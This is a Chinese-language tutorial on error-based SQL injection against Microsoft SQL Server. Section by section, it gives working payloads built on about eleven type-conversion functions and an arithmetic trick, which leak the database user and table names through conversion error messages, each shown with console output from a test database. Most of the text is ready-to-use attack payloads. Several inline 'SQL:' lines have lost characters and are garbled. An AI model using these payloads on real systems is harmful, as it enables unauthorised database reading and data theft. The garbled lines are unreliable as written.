0x01 前言

报错注入利用的就是类型转换时发生的错误来进行注入

所以只要能够导致类型转换错误的函数/方法都可以用来进行爆错注入

但是最重要的呢，还是服务器要会把爆错的信息返回回来才行呢~

支持进行爆错注入得函数
convert()
CAST()
db_name()
col_name()
filegroup_name()
object_name()
suser_name()
user_name()
schema_name()
type_name()
file_name()

0x02 基础数据

  1. 1> select * from article;
  2. 2> go
  3. +----+-----------+-----------+
  4. | id | title       | content    |
  5. +----+-----------+-----------+
  6. |  1 | 测试标题  | 测试内容  |
  7. |  2 | 测试标题2 | 测试内容2 |
  8. +----+-----------+-----------+
  9. (2 rows affected)
  1. # 测试表数据: users;
  3. sql server> select * from users;
  4. +----+--------------+----------+
  5. | id | username     | password |
  6. +----+--------------+----------+
  7. |  1 | test-user-01 |  123456  | 
  8. |  2 | test-user-02 |  234567  |
  9. +----+--------------+----------+
  10. 2 rows in set (0.00 sec)
  1. sql server> SELECT system_user;
  2. +-----------------------+
  3. | field1                |
  4. +-----------------------+
  5. | sa                    |
  6. +-----------------------+
  7. 1 row in set (0.00 sec)
  1. sql server> select db_name();
  2. +-----------------------+
  3. | field1                |
  4. +-----------------------+
  5. | test                  |
  6. +-----------------------+
  7. 1 row in set (0.00 sec)

0x03 算术运算符-爆错注入

  1. 也就是利用 + - * / 来进行注入

SQL：select from article where id=1 and 1=1user

  1. # 查询 user
  2. 1> select * from article where id=1 and 1=1*user;
  3. 2> go
  4. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x03.2 查询表名

注意：
OVER(Order by table_name) 里面的 name 要修改为 test.dbo.sysobjects 表里面存在的一个字段
查询不同的库可以这样

例如现在有 test库 与 test2库
那么就可以这样调用
test.dbo.sysobjects
test2.dbo.sysobjects

查询不同的表可以这样
例如:
修改 row_number>=1
修改 row_number>=2

注意：
XType=’U’ 表示获取某数据库的所有用户表;
XType=’S’ 表示获取某数据库的所有系统表;
例如现在查询得是 test 库得表名

SQL：select from article where id=1 and 1=1(select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1)

爆表名

  1. # 爆表名
  2. 1> SELECT
  3.   *
  4. FROM
  5.   article
  6. WHERE
  7.   id = 1
  8. AND 1 = 1 * (
  9.   SELECT
  10.     name
  11.   FROM
  12.     (
  13.       SELECT
  14.         ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  15.         name
  16.       FROM
  17.         test.dbo.sysobjects
  18.       WHERE
  19.         XType = 'U'
  20.     ) AS a
  21.   WHERE
  22.     row_number = 1
  23. );
  24. 2> go
  25. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

//

0x04 convert(int,str) 函数-爆错注入

0x04.1 查询user

SQL：select from article where id=1 and 1=1convert(int,user)

  1. 1> select * from article where id=1 and 1=convert(int,user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x04.2 查询表名

SQL：select * from article where id=1 and 1=(select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1)

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. WHERE
  6.     id = 1
  7. AND 1 = (
  8.     SELECT
  9.         name
  10.     FROM
  11.         (
  12.             SELECT
  13.                 ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  14.                 name
  15.             FROM
  16.                 test.dbo.sysobjects
  17.             WHERE
  18.                 XType = 'U'
  19.         ) AS a
  20.     WHERE
  21.         row_number = 1
  22. );
  23. 2> go
  24. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x05 CAST(expressionASdata_type) 函数-爆错注入

0x05.1 查询user

SQL：select * from article where id=1 and 1=cast(user as int)

  1. 1> select * from article where id=1 and 1=cast(user as int);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x05.2 查询表名

SQL：select * from article where id=1 and 1=cast((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1) as int)

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. WHERE
  6.     id = 1
  7. AND 1 = CAST (
  8.     (
  9.         SELECT
  10.             name
  11.         FROM
  12.             (
  13.                 SELECT
  14.                     ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  15.                     name
  16.                 FROM
  17.                     test.dbo.sysobjects
  18.                 WHERE
  19.                     XType = 'U'
  20.             ) AS a
  21.         WHERE
  22.             row_number = 1
  23.     ) AS INT
  24. );
  25. 2> go
  26. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x06 db_name() 函数-爆错注入

0x06.1 查询user

SQL：select * from article where id=1 and 1=db_name(user)

  1. 1> select * from article where id=1 and 1=db_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x06.2 查询表名

SQL：select * from article where id=1 and 1=db_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. WHERE
  6.     id = 1
  7. AND 1 = db_name(
  8.     (
  9.         SELECT
  10.             name
  11.         FROM
  12.             (
  13.                 SELECT
  14.                     ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  15.                     name
  16.                 FROM
  17.                     test.dbo.sysobjects
  18.                 WHERE
  19.                     XType = 'U'
  20.             ) AS a
  21.         WHERE
  22.             row_number = 1
  23.     )
  24. );
  25. 2> go
  26. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x07 COL_NAME(table_id , column_id) 函数-爆错注入

0x07.1 查询user

SQL：select * from article where id=1 and 1=col_name(1,user)

  1. 1> select * from article where id=1 and 1=col_name(1,user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x07.2 查询表名

SQL：select * from article where id=1 and 1=col_name(1,(select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. WHERE
  6.     id = 1
  7. AND 1 = col_name(
  8.     1,
  9.     (
  10.         SELECT
  11.             name
  12.         FROM
  13.             (
  14.                 SELECT
  15.                     ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  16.                     name
  17.                 FROM
  18.                     test.dbo.sysobjects
  19.                 WHERE
  20.                     XType = 'U'
  21.             ) AS a
  22.         WHERE
  23.             row_number = 1
  24.     )
  25. );
  26. 2> go
  27. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x08 filegroup_name() 函数-爆错注入

0x08.1 查询user

SQL：select * from article where id=1 and 1=filegroup_name(user)

  1. 1> select * from article where id=1 and 1=filegroup_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 smallint 时失败。

0x08.2 查询表名

SQL：select * from article where id=1 and 1=filegroup_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. WHERE
  6.     id = 1
  7. AND 1 = filegroup_name(
  8.     (
  9.         SELECT
  10.             name
  11.         FROM
  12.             (
  13.                 SELECT
  14.                     ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  15.                     name
  16.                 FROM
  17.                     test.dbo.sysobjects
  18.                 WHERE
  19.                     XType = 'U'
  20.             ) AS a
  21.         WHERE
  22.             row_number = 1
  23.     )
  24. );
  25. 2> go
  26. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 smallint 时失败。

0x09 object_name() 函数-爆错注入

0x09.1 查询user

SQL：select from article order by idobject_name(user)

  1. 1> select * from article order by id*object_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x09.2 查询表名

SQL：select from article order by idobject_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. ORDER BY
  6.     id * object_name(
  7.         (
  8.             SELECT
  9.                 name
  10.             FROM
  11.                 (
  12.                     SELECT
  13.                         ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  14.                         name
  15.                     FROM
  16.                         test.dbo.sysobjects
  17.                     WHERE
  18.                         XType = 'U'
  19.                 ) AS a
  20.             WHERE
  21.                 row_number = 1
  22.         )
  23.     );
  24. 2> go
  25. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x10 suser_name() 函数-爆错注入

0x10.1 查询user

SQL：select from article order by idsuser_name(user)

  1. 1> select * from article order by id*suser_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x10.2 查询表名

SQL：select from article order by idsuser_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. ORDER BY
  6.     id * suser_name(
  7.         (
  8.             SELECT
  9.                 name
  10.             FROM
  11.                 (
  12.                     SELECT
  13.                         ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  14.                         name
  15.                     FROM
  16.                         test.dbo.sysobjects
  17.                     WHERE
  18.                         XType = 'U'
  19.                 ) AS a
  20.             WHERE
  21.                 row_number = 1
  22.         )
  23.     );
  24. 2> go
  25. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x11 user_name() 函数 -爆错注入

0x11.1 查询user

SQL：select from article order by iduser_name(user)

  1. 1> select * from article order by id*user_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x11.2 查询表名

SQL：select from article order by iduser_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. ORDER BY
  6.     id * user_name(
  7.         (
  8.             SELECT
  9.                 name
  10.             FROM
  11.                 (
  12.                     SELECT
  13.                         ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  14.                         name
  15.                     FROM
  16.                         test.dbo.sysobjects
  17.                     WHERE
  18.                         XType = 'U'
  19.                 ) AS a
  20.             WHERE
  21.                 row_number = 1
  22.         )
  23.     );
  24. 2> go
  25. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x12 schema_name() 函数-爆错注入

0x12.1 查询user

SQL：select * from article order by schema_name(user);

  1. 1> select * from article order by schema_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x12.2 查询表名

SQL：select * from article order by schema_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. ORDER BY
  6.     schema_name(
  7.         (
  8.             SELECT
  9.                 name
  10.             FROM
  11.                 (
  12.                     SELECT
  13.                         ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  14.                         name
  15.                     FROM
  16.                         test.dbo.sysobjects
  17.                     WHERE
  18.                         XType = 'U'
  19.                 ) AS a
  20.             WHERE
  21.                 row_number = 1
  22.         )
  23.     );
  24. 2> go
  25. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

0x13 type_name() 函数-爆错注入

0x13.1 查询user

SQL：select * from article order by type_name(user)

  1. 1> select * from article order by type_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x13.2 查询表名

SQL：select * from article order by type_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. SELECT
  2.     *
  3. FROM
  4.     article
  5. ORDER BY
  6.     type_name(
  7.         (
  8.             SELECT
  9.                 name
  10.             FROM
  11.                 (
  12.                     SELECT
  13.                         ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  14.                         name
  15.                     FROM
  16.                         test.dbo.sysobjects
  17.                     WHERE
  18.                         XType = 'U'
  19.                 ) AS a
  20.             WHERE
  21.                 row_number = 1
  22.         )
  23.     )

0x14 file_name() 函数-爆错注入

0x14.1 查询user

SQL：select * from article order by file_name(user)

  1. 1> select * from article order by file_name(user);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

0x14.2 查询表名

SQL：select * from article order by file_name((select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))

  1. 1> SELECT
  2.     *
  3. FROM
  4.     article
  5. ORDER BY
  6.     file_name(
  7.         (
  8.             SELECT
  9.                 name
  10.             FROM
  11.                 (
  12.                     SELECT
  13.                         ROW_NUMBER () OVER (ORDER BY name) AS row_number,
  14.                         name
  15.                     FROM
  16.                         test.dbo.sysobjects
  17.                     WHERE
  18.                         XType = 'U'
  19.                 ) AS a
  20.             WHERE
  21.                 row_number = 1
  22.         )
  23.     );
  24. 2> go
  25. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。